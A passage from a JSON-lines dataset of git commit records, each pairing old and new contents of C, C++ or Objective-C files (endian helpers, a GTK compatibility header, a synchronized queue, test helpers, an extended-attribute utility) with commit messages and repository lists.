cpu_to_be32(u32 value)\n{\n\treturn htobe32(value);\n}\n\nstatic inline be64 cpu_to_be64(u64 value)\n{\n\treturn htobe64(value);\n}\n\nstatic inline u16 be16_to_cpu(be16 value)\n{\n\treturn be16toh(value);\n}\n\nstatic inline u32 be32_to_cpu(be32 value)\n{\n\treturn be32toh(value);\n}\n\nstatic inline u64 be64_to_cpu(be64 value)\n{\n\treturn be64toh(value);\n}\n\n#endif\n","subject":"Use <endian.h> for byte order helpers","message":"Use <endian.h> for byte order helpers\n\nAlso add missing helper functions.\n\nSigned-off-by: Pekka Enberg <add4fcd06328a394f0ad91feda7ee057316dc5ed@kernel.org>\n","lang":"C","license":"bsd-2-clause","repos":"fengzhyuan\/libtrading,mstanichenko\/libtrading,etoestja\/libtrading,mstanichenko\/libtrading,NunoEdgarGub1\/libtrading,libtrading\/libtrading,libtrading\/libtrading,penberg\/libtrading,divaykin\/libtrading,etoestja\/libtrading,Bitcoinsulting\/libtrading,divaykin\/libtrading,femtotrader\/libtrading,femtotrader\/libtrading,jvirtanen\/libtrading,Bitcoinsulting\/libtrading,svdev\/libtrading,NunoEdgarGub1\/libtrading,svdev\/libtrading,penberg\/libtrading,jvirtanen\/libtrading,fengzhyuan\/libtrading"}
{"commit":"54cfb51eabc5c61e3cdfdbc6e745a22d6f992e53","old_file":"WildcardPattern.h","new_file":"WildcardPattern.h","old_contents":"#import <Cocoa\/Cocoa.h>\n\n\n@interface WildcardPattern : NSObject {\n\tNSString* pattern_;\n}\n\n- (id) initWithString: (NSString*) s;\n- (BOOL) isMatch: (NSString*) s;\n\n@end\n","new_contents":"\/*\n * Copyright (c) 2006 KATO Kazuyoshi <kzys@8-p.info>\n * This source code is released under the MIT license.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface WildcardPattern : NSObject {\n\tNSString* pattern_;\n}\n\n- (id) initWithString: (NSString*) s;\n- (BOOL) isMatch: (NSString*) s;\n\n@end\n","subject":"Add copyright and license header.","message":"Add copyright and license header.\n","lang":"C","license":"mit","repos":"torezzz\/greasekit"}
{"commit":"601b1f4970926d2b09218265ba661346a89612ea","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"#ifndef LACO_UTIL_H\n#define LACO_UTIL_H\n\nstruct LacoState;\nstruct lua_State;\n\n\/**\n * Load a line into the lua stack to be evaluated later\n *\n * param          pointer to LacoState\n *\n * return -1 if there is no line input to load\n *\/\nint laco_load_line(struct LacoState* laco);\n\n\/**\n * Called after laco_load_line, this evaluated the line as a function and\n * hands of the result for printing\n *\n * param          pointer to LacoState\n *\/\nvoid laco_handle_line(struct LacoState* laco);\n\n\/**\n * Kills the loop with exiting message if specified\n *\n * param          pointer to LacoState\n * param          exit with status\n * param          error message\n *\/\nvoid laco_kill(struct LacoState* laco, int status, const char* message);\n\n\/**\n * When there is a value on the lua stack, it will print out depending on\n * the type it is\n *\n * param          pointer to lua_State\n *\n * return LUA_ERRSYNTAX if the value has some error\n *\/\nint laco_print_type(struct lua_State* L);\n\n\n\/**\n * Prints out and pops off errors pushed into the lua stack\n *\n * param          pointer to lua_State\n * param          incoming lua stack status\n *\/\nvoid laco_report_error(struct lua_State* L, int status);\n\nint laco_is_match(const char** matches, const char* test_string);\n\n#endif \/* LACO_UTIL_H *\/\n","new_contents":"#ifndef LACO_UTIL_H\n#define LACO_UTIL_H\n\nstruct LacoState;\n\n\/**\n * Load a line into the lua stack to be evaluated later\n *\n * param          pointer to LacoState\n *\n * return -1 if there is no line input to load\n *\/\nint laco_load_line(struct LacoState* laco);\n\n\/**\n * Called after laco_load_line, this evaluated the line as a function and\n * hands of the result for printing\n *\n * param          pointer to LacoState\n *\/\nvoid laco_handle_line(struct LacoState* laco);\n\n\/**\n * Kills the loop with exiting message if specified\n *\n * param          pointer to LacoState\n * param          exit with status\n * param          error message\n *\/\nvoid laco_kill(struct LacoState* laco, int status, const char* message);\n\n\/**\n * When there is a value on the lua stack, it will print out depending on\n * the type it is\n *\n * param          pointer to lua_State\n *\n * return LUA_ERRSYNTAX if the value has some error\n *\/\nint laco_print_type(struct LacoState* laco);\n\n\/**\n * Prints out and pops off errors pushed into the lua stack\n *\n * param          pointer to lua_State\n * param          incoming lua stack status\n *\/\nvoid laco_report_error(struct LacoState* laco, int status);\n\nint laco_is_match(const char** matches, const char* test_string);\n\n#endif \/* LACO_UTIL_H *\/\n","subject":"Change lua_State pointer to LacoState","message":"Change lua_State pointer to LacoState\n\nMostly for consistency in the API.\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"b232dd075cad8d21bffb4096afb081f097c3caab","old_file":"helpers\/pgrp_placeholder.c","new_file":"helpers\/pgrp_placeholder.c","old_contents":"\/*\nCopyright 2019 Google Inc. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n\/*!\n *\\brief Process group placeholder.\n *\n * Does nothing except sitting around until killed. Spawned as extra process in\n * our process groups so that we can control on our own when the process group\n * ID is reclaimed to the kernel, namely by killing the entire process group.\n * This prevents a race condition of our process group getting reclaimed before\n * we try to kill possibly remaining processes in it, after which we would\n * possibly kill something else.\n *\n * Must be a separate executable so F_CLOEXEC applies as intended.\n *\/\n\n#include <unistd.h>\n\nint main() {\n  for (;;) {\n    pause();\n  }\n  return 0;\n}\n","new_contents":"\/*\nCopyright 2019 Google Inc. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n\/*!\n *\\brief Process group placeholder.\n *\n * Does nothing except sitting around until killed. Spawned as extra process in\n * our process groups so that we can control on our own when the process group\n * ID is reclaimed to the kernel, namely by killing the entire process group.\n * This prevents a race condition of our process group getting reclaimed before\n * we try to kill possibly remaining processes in it, after which we would\n * possibly kill something else.\n *\n * Must be a separate executable so F_CLOEXEC applies as intended.\n *\/\n\n#include <stdlib.h>\n#include <unistd.h>\n\nint main() {\n  for (;;) {\n    pause();\n  }\n  \/\/ Cannot get here.\n  abort();\n}\n","subject":"Return failure if the unexitable loop ever exits ;)","message":"Return failure if the unexitable loop ever exits ;)\n\n(cleaner)\n","lang":"C","license":"apache-2.0","repos":"google\/xsecurelock,google\/xsecurelock"}
{"commit":"952e0be71291f6475cb4c86894e43dc531eb8980","old_file":"ir\/be\/test\/invsqrt.c","new_file":"ir\/be\/test\/invsqrt.c","old_contents":"","new_contents":"\/**\n * magical invsqrt function from Quake III code\n * see: http:\/\/www.codemaestro.com\/reviews\/9\n *\/\n\nfloat InvSqrt(float x)\n{\n\tfloat xhalf = 0.5f*x;\n\tint i = *(int*)&x;\n\ti = 0x5f3759df - (i>>1);\n\tx = *(float*)&i;\n\tx = x*(1.5f-xhalf*x*x);\n\treturn x;\n}\n\nint main(void) {\n\tint result = InvSqrt(0.00056);\n\tprintf(\"Result: %d (should be 42)\", result);\n\treturn result != 42;\n}\n","subject":"Test case for historical reasons","message":"Test case for historical reasons\n\n[r22410]\n","lang":"C","license":"lgpl-2.1","repos":"8l\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,libfirm\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,8l\/libfirm,MatzeB\/libfirm,8l\/libfirm,libfirm\/libfirm,8l\/libfirm,jonashaag\/libfirm,8l\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,8l\/libfirm,8l\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm"}
{"commit":"d7ff6aa14bca10865795a218c863d3149263621f","old_file":"src\/debugger.h","new_file":"src\/debugger.h","old_contents":"#ifndef DEBUGGER_H\n#define DEBUGGER_H\n\nenum DebuggerState {\n\tDEBUGGER_PAUSED,\n\tDEBUGGER_RUNNING,\n\tDEBUGGER_EXITING\n};\n\nstruct ARMDebugger {\n\tenum DebuggerState state;\n\tstruct ARMCore* cpu;\n\n\tchar* lastCommand;\n};\n\nvoid ARMDebuggerInit(struct ARMDebugger*, struct ARMCore*);\nvoid ARMDebuggerRun(struct ARMDebugger*);\nvoid ARMDebuggerEnter(struct ARMDebugger*);\n\n#endif\n","new_contents":"#ifndef DEBUGGER_H\n#define DEBUGGER_H\n\nenum DebuggerState {\n\tDEBUGGER_PAUSED,\n\tDEBUGGER_RUNNING,\n\tDEBUGGER_EXITING\n};\n\nstruct ARMDebugger {\n\tenum DebuggerState state;\n\tstruct ARMCore* cpu;\n\n\tchar* lastCommand;\n\tstruct DebugBreakpoint* breakpoints;\n};\n\nvoid ARMDebuggerInit(struct ARMDebugger*, struct ARMCore*);\nvoid ARMDebuggerRun(struct ARMDebugger*);\nvoid ARMDebuggerEnter(struct ARMDebugger*);\n\n#endif\n","subject":"Add missing field for breakpoints","message":"Add missing field for breakpoints\n","lang":"C","license":"mpl-2.0","repos":"askotx\/mgba,fr500\/mgba,sergiobenrocha2\/mgba,Iniquitatis\/mgba,fr500\/mgba,mgba-emu\/mgba,libretro\/mgba,matthewbauer\/mgba,fr500\/mgba,Touched\/mgba,jeremyherbert\/mgba,cassos\/mgba,askotx\/mgba,fr500\/mgba,nattthebear\/mgba,Iniquitatis\/mgba,libretro\/mgba,jeremyherbert\/mgba,Touched\/mgba,libretro\/mgba,libretro\/mgba,nattthebear\/mgba,AdmiralCurtiss\/mgba,sergiobenrocha2\/mgba,sergiobenrocha2\/mgba,sergiobenrocha2\/mgba,mgba-emu\/mgba,Anty-Lemon\/mgba,iracigt\/mgba,cassos\/mgba,askotx\/mgba,cassos\/mgba,iracigt\/mgba,AdmiralCurtiss\/mgba,askotx\/mgba,bentley\/mgba,zerofalcon\/mgba,Anty-Lemon\/mgba,bentley\/mgba,mgba-emu\/mgba,mgba-emu\/mgba,zerofalcon\/mgba,iracigt\/mgba,MerryMage\/mgba,MerryMage\/mgba,MerryMage\/mgba,matthewbauer\/mgba,zerofalcon\/mgba,iracigt\/mgba,Anty-Lemon\/mgba,sergiobenrocha2\/mgba,jeremyherbert\/mgba,Anty-Lemon\/mgba,Touched\/mgba,Iniquitatis\/mgba,AdmiralCurtiss\/mgba,Iniquitatis\/mgba,libretro\/mgba,jeremyherbert\/mgba"}
{"commit":"9614463119c6c28626ae237f9ce7225a638d32ef","old_file":"src\/commands\/i2c_test_command.c","new_file":"src\/commands\/i2c_test_command.c","old_contents":"#include <stdint.h>\n#include <string.h>\n\n#include \"obc.h\"\n#include \"system.h\"\n#include \"terminal.h\"\n\nvoid I2CTestCommandHandler(uint16_t argc, char* argv[])\n{\n    UNREFERENCED_PARAMETER(argc);\n\n    I2CBus* bus;\n\n    if (strcmp(argv[0], \"system\") == 0)\n    {\n        bus = Main.I2C.System;\n    }\n    else if (strcmp(argv[0], \"payload\") == 0)\n    {\n        bus = Main.I2C.Payload;\n    }\n    else\n    {\n        TerminalPuts(\"Unknown bus\\n\");\n    }\n\n    const uint8_t device = (uint8_t)atoi(argv[1]);\n    const uint8_t* data = (uint8_t*)argv[2];\n    const size_t dataLength = strlen(argv[2]);\n\n    uint8_t output[20] = {0};\n    size_t outputLength = dataLength;\n\n    const I2CResult result = bus->WriteRead(bus, device, data, dataLength, output, outputLength);\n\n    if (result == I2CResultOK)\n    {\n        TerminalPuts((char*)output);\n    }\n    else\n    {\n        TerminalPrintf(\"Error %d\\n\", result);\n    }\n}\n","new_contents":"#include <stdint.h>\n#include <string.h>\n\n#include \"obc.h\"\n#include \"system.h\"\n#include \"terminal.h\"\n\nvoid I2CTestCommandHandler(uint16_t argc, char* argv[])\n{\n    UNREFERENCED_PARAMETER(argc);\n\n    if (argc != 3)\n    {\n        TerminalPuts(\"i2c <system|payload> <device> <data>\\n\");\n        return;\n    }\n\n    I2CBus* bus;\n\n    if (strcmp(argv[0], \"system\") == 0)\n    {\n        bus = Main.I2C.System;\n    }\n    else if (strcmp(argv[0], \"payload\") == 0)\n    {\n        bus = Main.I2C.Payload;\n    }\n    else\n    {\n        TerminalPuts(\"Unknown bus\\n\");\n    }\n\n    const uint8_t device = (uint8_t)atoi(argv[1]);\n    const uint8_t* data = (uint8_t*)argv[2];\n    const size_t dataLength = strlen(argv[2]);\n\n    uint8_t output[20] = {0};\n    size_t outputLength = dataLength;\n\n    const I2CResult result = bus->WriteRead(bus, device, data, dataLength, output, outputLength);\n\n    if (result == I2CResultOK)\n    {\n        TerminalPuts((char*)output);\n    }\n    else\n    {\n        TerminalPrintf(\"Error %d\\n\", result);\n    }\n}\n","subject":"Check args count in test i2c terminal command","message":"Check args count in test i2c terminal command\n","lang":"C","license":"agpl-3.0","repos":"PW-Sat2\/PWSat2OBC,PW-Sat2\/PWSat2OBC,PW-Sat2\/PWSat2OBC,PW-Sat2\/PWSat2OBC"}
{"commit":"01a0794bfbc6dd31c4847d2562e890622eac1ee3","old_file":"Pod\/Classes\/GGReadabilityParser.h","new_file":"Pod\/Classes\/GGReadabilityParser.h","old_contents":"\/*\n Copyright (c) 2012 Curtis Hard - GeekyGoodness\n *\/\n\n\/*\n Modified by Denis Zamataev. 2014\n *\/\n\n#import <Foundation\/Foundation.h>\n\n#import <HTMLReader.h>\n\n#import \"DZReadability_constants.h\"\n\ntypedef void (^GGReadabilityParserCompletionHandler)( NSString * content );\ntypedef void (^GGReadabilityParserErrorHandler)( NSError * error );\n\n@interface GGReadabilityParser : NSObject {\n    \n    float loadProgress;\n    \n@private\n    GGReadabilityParserErrorHandler errorHandler;\n    GGReadabilityParserCompletionHandler completionHandler;\n    GGReadabilityParserOptions options;\n    NSURL * URL;\n    NSURL * baseURL;\n    long long dataLength;\n    NSMutableData * responseData;\n    NSURLConnection * URLConnection;\n    NSURLResponse * URLResponse;\n    \n}\n\n@property ( nonatomic, assign ) float loadProgress;\n\n- (id)initWithOptions:(GGReadabilityParserOptions)parserOptions;\n- (id)initWithURL:(NSURL *)aURL\n          options:(GGReadabilityParserOptions)parserOptions\ncompletionHandler:(GGReadabilityParserCompletionHandler)cHandler\n     errorHandler:(GGReadabilityParserErrorHandler)eHandler;\n\n- (void)cancel;\n- (void)render;\n- (void)renderWithString:(NSString *)string;\n\n- (HTMLElement *)processXMLDocument:(HTMLDocument *)XML baseURL:(NSURL *)theBaseURL error:(NSError **)error;\n@end","new_contents":"\/*\n Copyright (c) 2012 Curtis Hard - GeekyGoodness\n *\/\n\n\/*\n Modified by Denis Zamataev. 2014\n *\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"HTMLReader.h\"\n\n#import \"DZReadability_constants.h\"\n\ntypedef void (^GGReadabilityParserCompletionHandler)( NSString * content );\ntypedef void (^GGReadabilityParserErrorHandler)( NSError * error );\n\n@interface GGReadabilityParser : NSObject {\n    \n    float loadProgress;\n    \n@private\n    GGReadabilityParserErrorHandler errorHandler;\n    GGReadabilityParserCompletionHandler completionHandler;\n    GGReadabilityParserOptions options;\n    NSURL * URL;\n    NSURL * baseURL;\n    long long dataLength;\n    NSMutableData * responseData;\n    NSURLConnection * URLConnection;\n    NSURLResponse * URLResponse;\n    \n}\n\n@property ( nonatomic, assign ) float loadProgress;\n\n- (id)initWithOptions:(GGReadabilityParserOptions)parserOptions;\n- (id)initWithURL:(NSURL *)aURL\n          options:(GGReadabilityParserOptions)parserOptions\ncompletionHandler:(GGReadabilityParserCompletionHandler)cHandler\n     errorHandler:(GGReadabilityParserErrorHandler)eHandler;\n\n- (void)cancel;\n- (void)render;\n- (void)renderWithString:(NSString *)string;\n\n- (HTMLElement *)processXMLDocument:(HTMLDocument *)XML baseURL:(NSURL *)theBaseURL error:(NSError **)error;\n@end\n","subject":"Fix HTMLReader include when using dynamic frameworks","message":"Fix HTMLReader include when using dynamic frameworks","lang":"C","license":"mit","repos":"DZamataev\/DZReadability,DZamataev\/DZReadability,DZamataev\/DZReadability,DZamataev\/DZReadability"}
{"commit":"4f7bf9e92189558747c5298830afd2f9a591b5e8","old_file":"src\/game_state.h","new_file":"src\/game_state.h","old_contents":"\/\/\n\/\/ Created by Borin Ouch on 2016-03-22.\n\/\/\n\n#ifndef SFML_TEST_GAME_STATE_H\n#define SFML_TEST_GAME_STATE_H\n\n\n#include \"game.h\"\n\n\nclass GameState {\n\npublic:\n    Game* game;\n\n    virtual void draw(const float dt) = 0;\n    virtual void update(const float dt) = 0;\n    virtual void handleInput() = 0;\n};\n\n\n#endif \/\/SFML_TEST_GAME_STATE_H\n","new_contents":"\/\/\n\/\/ Created by Borin Ouch on 2016-03-22.\n\/\/\n\n#ifndef SFML_TEST_GAME_STATE_H\n#define SFML_TEST_GAME_STATE_H\n\n\n#include \"game.h\"\n\n\nclass GameState {\n\npublic:\n    Game* game;\n\n    virtual void draw(const float dt) = 0;\n    virtual void update(const float dt) = 0;\n    virtual void handleInput() = 0;\n\n    virtual ~GameState() {};\n};\n\n\n#endif \/\/SFML_TEST_GAME_STATE_H\n","subject":"Add virtual destructor to game state","message":"Add virtual destructor to game state\n","lang":"C","license":"mit","repos":"aceiii\/sfml-city-builder"}
{"commit":"7d38a5e83c37a40d8277b5bbb6097c25fd390c47","old_file":"include\/common.h","new_file":"include\/common.h","old_contents":"","new_contents":"#ifndef __SH_COMMON_H__\n#define __SH_COMMON_H__\n\n#include <stdio.h>\n#include <stdlib.h>\n\n\/\/ ensure is kinda like assert but it is always executed\n#define ensure(p, msg)                                            \\\ndo {                                                              \\\n    if (!(p)) {                                                   \\\n        burst_into_flames(__FILE__, __LINE__, msg);               \\\n    }                                                             \\\n} while(0)\n\nvoid burst_into_flames(const char* file, int line, const char* msg) {\n    printf(\"%s - %s:%d\", msg, file, line);\n    abort();\n}\n\n#endif \n","subject":"Add ensure for runtime assertion checking","message":"Add ensure for runtime assertion checking\n","lang":"C","license":"bsd-2-clause","repos":"GregBowyer\/softheap,GregBowyer\/softheap,GregBowyer\/softheap,GregBowyer\/softheap"}
{"commit":"4740d588a16d45add192ed3ea58627f06cba9b3f","old_file":"src\/plugin\/synchronized_queue.h","new_file":"src\/plugin\/synchronized_queue.h","old_contents":"\/\/ This is a queue that can be accessed from multiple threads safely.\n\/\/\n\/\/ It's not well optimized, and requires obtaining a lock every time you check for a new value.\n\n#pragma once\n\n#include <condition_variable>\n#include <mutex>\n#include <optional>\n#include <queue>\n\ntemplate <class T>\nclass SynchronizedQueue {\n    std::condition_variable cv_;\n    std::mutex lock_;\n    std::queue<T> q_;\npublic:\n\n    void push(T && t) {\n        std::unique_lock l(lock_);\n        q_.push(std::move(t));\n        cv_.notify_one();\n    }\n\n    std::optional<T> get() {\n        std::unique_lock l(lock_);\n        if(q_.empty()) {\n            return std::nullopt;\n        }\n\n        T t = std::move(q_.front());\n        q_.pop();\n        return t;\n    }\n\n    T get_blocking() {\n        std::unique_lock l(lock_);\n        while(q_.empty()) {\n            cv_.wait(l);\n        }\n\n        T t = std::move(q_.front());\n        q_.pop();\n        return std::move(t);\n    }\n};","new_contents":"\/\/ This is a queue that can be accessed from multiple threads safely.\n\/\/\n\/\/ It's not well optimized, and requires obtaining a lock every time you check for a new value.\n\n#pragma once\n\n#include <condition_variable>\n#include <mutex>\n#include <optional>\n#include <queue>\n\ntemplate <class T>\nclass SynchronizedQueue {\n    std::condition_variable cv_;\n    std::mutex lock_;\n    std::queue<T> q_;\n    std::atomic_uint64_t input_count{0}, output_count{0};\npublic:\n\n    void push(T && t) {\n        std::unique_lock l(lock_);\n        q_.push(std::move(t));\n        input_count++;\n        cv_.notify_one();\n    }\n\n    std::optional<T> get() {\n        if(input_count == output_count) {\n            return std::nullopt;\n        }\n        {\n            std::unique_lock l(lock_);\n            if(q_.empty()) {\n                return std::nullopt;\n            }\n\n            output_count++;\n            T t = std::move(q_.front());\n            q_.pop();\n            return t;\n        }\n    }\n\n    T get_blocking() {\n        std::unique_lock l(lock_);\n        while(q_.empty()) {\n            cv_.wait(l);\n        }\n\n        output_count++;\n        T t = std::move(q_.front());\n        q_.pop();\n        return std::move(t);\n    }\n};","subject":"Increase the efficiency of multithreading. This should slightly slightly increase frame rate.","message":"Increase the efficiency of multithreading. This should slightly slightly increase frame rate.\n","lang":"C","license":"mit","repos":"leecbaker\/datareftool,leecbaker\/datareftool,leecbaker\/datareftool"}
{"commit":"e1aa0719162620c50ad6f402a1c58ed817f75bf7","old_file":"libedataserverui\/gtk-compat.h","new_file":"libedataserverui\/gtk-compat.h","old_contents":"#ifndef __GTK_COMPAT_H__\n#define __GTK_COMPAT_H__\n\n#include <gtk\/gtk.h>\n\n\/* Provide a compatibility layer for accessor functions introduced\n * in GTK+ 2.21.1 which we need to build with sealed GDK.\n * That way it is still possible to build with GTK+ 2.20.\n *\/\n\n#if (GTK_MAJOR_VERSION == 2 && GTK_MINOR_VERSION < 21) \\\n\t|| (GTK_MINOR_VERSION == 21 && GTK_MICRO_VERSION < 1)\n\n#define gdk_drag_context_get_actions(context)          (context)->actions\n#define gdk_drag_context_get_suggested_action(context) (context)->suggested_action\n#define gdk_drag_context_get_selected_action(context)  (context)->action\n\n#endif \n\n#if GTK_MAJOR_VERSION == 2 && GTK_MINOR_VERSION == 21 && GTK_MICRO_VERSION == 1\n#define gdk_drag_context_get_selected_action(context)  gdk_drag_context_get_action(context)\n#endif\n\n#endif \/* __GTK_COMPAT_H__ *\/\n","new_contents":"#ifndef __GTK_COMPAT_H__\n#define __GTK_COMPAT_H__\n\n#include <gtk\/gtk.h>\n\n\/* Provide a compatibility layer for accessor functions introduced\n * in GTK+ 2.21.1 which we need to build with sealed GDK.\n * That way it is still possible to build with GTK+ 2.20.\n *\/\n\n#if (GTK_MAJOR_VERSION == 2 && GTK_MINOR_VERSION < 21) \\\n\t|| (GTK_MINOR_VERSION == 21 && GTK_MICRO_VERSION < 1)\n\n#define gdk_drag_context_get_actions(context)          (context)->actions\n#define gdk_drag_context_get_suggested_action(context) (context)->suggested_action\n#define gdk_drag_context_get_selected_action(context)  (context)->action\n\n#endif \n\n#if GTK_MAJOR_VERSION == 2 && GTK_MINOR_VERSION == 21 && GTK_MICRO_VERSION == 1\n#define gdk_drag_context_get_selected_action(context)  gdk_drag_context_get_action(context)\n#endif\n\n#if GTK_CHECK_VERSION (2,90,5)\n\n\/* Recreate GdkRegion until we drop GTK2 compatibility. *\/\n\n#define GdkRegion cairo_region_t\n\n#define gdk_region_destroy(region) \\\n\t(cairo_region_destroy (region))\n\n#define gdk_region_point_in(region, x, y) \\\n\t(cairo_region_contains_point ((region), (x), (y)))\n\n#define gdk_region_rectangle(rectangle) \\\n\t(((rectangle)->width <= 0 || (rectangle->height <= 0)) ? \\\n\tcairo_region_create () : cairo_region_create_rectangle (rectangle))\n\n#endif\n\n#endif \/* __GTK_COMPAT_H__ *\/\n","subject":"Work around sudden disappearance of GdkRegion in GTK+ 2.90.5.","message":"Work around sudden disappearance of GdkRegion in GTK+ 2.90.5.\n\nAPI was deprecated and removed in less than two hours!  Sheesh!\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/evolution-data-server,tintou\/evolution-data-server,Distrotech\/evolution-data-server,matzipan\/evolution-data-server,matzipan\/evolution-data-server,gcampax\/evolution-data-server,tintou\/evolution-data-server,matzipan\/evolution-data-server,Distrotech\/evolution-data-server,tintou\/evolution-data-server,tintou\/evolution-data-server,gcampax\/evolution-data-server,matzipan\/evolution-data-server,Distrotech\/evolution-data-server,gcampax\/evolution-data-server,gcampax\/evolution-data-server,matzipan\/evolution-data-server,Distrotech\/evolution-data-server"}
{"commit":"7efce87f280e015217514c73097a080a47a56f05","old_file":"src\/wclock_test.c","new_file":"src\/wclock_test.c","old_contents":"#include <assert.h>\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include \"wclock.h\"\n#ifdef _WIN32\n# include <windows.h>\nstatic unsigned int sleep(unsigned int x) { Sleep(x * 1000); return 0; }\n#else\n# include <unistd.h>\n#endif\n\nint main(void)\n{\n    double res, t1, t2;\n    wclock clock;\n\n    if (wclock_init(&clock)) {\n        abort();\n    }\n\n    res = wclock_get_res(&clock);\n    printf(\"%.17g\\n\", res);\n    assert(res > 0);\n    assert(res < 2e-3);  \/* presumably the clock has at least ms precision! *\/\n\n    t1 = wclock_get(&clock);\n    printf(\"%.17g\\n\", t1);\n\n    sleep(1);\n\n    t2 = wclock_get(&clock);\n    printf(\"%.17g\\n\", t2);\n    printf(\"%.17g\\n\", t2 - t1);\n    assert(fabs(t2 - t1 - 1.) < 1e-1);\n\n    return 0;\n}\n","new_contents":"#include <assert.h>\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include \"wclock.h\"\n#ifdef _WIN32\n# include <windows.h>\nstatic unsigned int sleep(unsigned int x) { Sleep(x * 1000); return 0; }\n#else\n# include <unistd.h>\n#endif\n\nint main(void)\n{\n    double res, t1, t2;\n    wclock clock;\n\n    if (wclock_init(&clock)) {\n        abort();\n    }\n\n    res = wclock_get_res(&clock);\n    printf(\"%.17g\\n\", res);\n    assert(res > 0);\n    assert(res < 2e-3);  \/* presumably the clock has at least ms precision! *\/\n\n    t1 = wclock_get(&clock);\n    printf(\"%.17g\\n\", t1);\n\n    sleep(1);\n\n    t2 = wclock_get(&clock);\n    printf(\"%.17g\\n\", t2);\n    printf(\"%.17g\\n\", t2 - t1);\n    assert(t2 - t1 >= 0.9 && t2 - t1 < 1.4);\n\n    return 0;\n}\n","subject":"Increase time tolerance to reduce flakiness on slow systems","message":"Increase time tolerance to reduce flakiness on slow systems\n","lang":"C","license":"mit","repos":"Rufflewind\/calico,Rufflewind\/calico,Rufflewind\/calico"}
{"commit":"5da72a7cbfc9d388f6f22aabfefda2bc53ce56c8","old_file":"test\/assertions.h","new_file":"test\/assertions.h","old_contents":"#include <setjmp.h>\n#include <stdarg.h>\n#include <stddef.h>\n\n#include <cmocka.h>\n\n#include \"cbor.h\"\n\n#ifndef ASSERTIONS_H_\n#define ASSERTIONS_H_\n\nvoid assert_uint8(cbor_item_t* item, uint8_t num);\nvoid assert_uint16(cbor_item_t* item, uint16_t num);\nvoid assert_uint32(cbor_item_t* item, uint32_t num);\nvoid assert_uint64(cbor_item_t* item, uint64_t num);\n\nvoid assert_decoder_result(size_t, enum cbor_decoder_status,\n                           struct cbor_decoder_result);\n\n\/\/ TODO: Docs\nvoid assert_decoder_result_nedata(size_t, struct cbor_decoder_result);\n\n\/**\n * Check that the streaming decoder will returns a correct CBOR_DECODER_NEDATA\n * result for all inputs from data[0..1] through data[0..(expected-1)].\n *\/\nvoid assert_minimum_input_size(size_t expected, cbor_data data);\n\n#endif\n","new_contents":"#include <setjmp.h>\n#include <stdarg.h>\n#include <stddef.h>\n\n#include <cmocka.h>\n\n#include \"cbor.h\"\n\n#ifndef ASSERTIONS_H_\n#define ASSERTIONS_H_\n\nvoid assert_uint8(cbor_item_t* item, uint8_t num);\nvoid assert_uint16(cbor_item_t* item, uint16_t num);\nvoid assert_uint32(cbor_item_t* item, uint32_t num);\nvoid assert_uint64(cbor_item_t* item, uint64_t num);\n\n\/** Assert that result `status` and `read` are equal. *\/\nvoid assert_decoder_result(size_t read, enum cbor_decoder_status status,\n                           struct cbor_decoder_result result);\n\n\/**\n * Assert that the result is set to CBOR_DECODER_NEDATA with the given\n * `cbor_decoder_result.required` value.\n *\/\nvoid assert_decoder_result_nedata(size_t required,\n                                  struct cbor_decoder_result result);\n\n\/**\n * Check that the streaming decoder returns a correct CBOR_DECODER_NEDATA\n * result for all inputs from data[0..1] through data[0..(expected-1)].\n *\/\nvoid assert_minimum_input_size(size_t expected, cbor_data data);\n\n#endif\n","subject":"Add inline docs for asserts","message":"Add inline docs for asserts\n","lang":"C","license":"mit","repos":"PJK\/libcbor,PJK\/libcbor,PJK\/libcbor,PJK\/libcbor,PJK\/libcbor"}
{"commit":"8724b1ecb093cf58fc07d51501487c9fc6e07a4c","old_file":"chap16\/setfattr.c","new_file":"chap16\/setfattr.c","old_contents":"","new_contents":"\/* setfattr.c - sets user extended attributes for a file.\n *\n * This program can be viewed as a much simpler version of setfattr(1) utility,\n * used to set, remove and list a file's extended attributes. All this program\n * can do, however, is to set user EAs.\n *\n * Usage\n *\n *    $ .\/setfattr <name> <value> <file>\n *\n *    <name>  - the name of the EA to be set. Note that the `user.` namespace\n *    is added automatically.\n *    <value> - the value to be set.\n *    <file>  - the file to which the program should add the EA.\n *\n * Author: Renato Mascarenhas Costa\n *\/\n\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/xattr.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nstatic void helpAndLeave(const char *progname, int status);\nstatic void pexit(const char *fCall);\n\nint\nmain(int argc, char *argv[]) {\n  if (argc != 4) {\n    helpAndLeave(argv[0], EXIT_FAILURE);\n  }\n\n  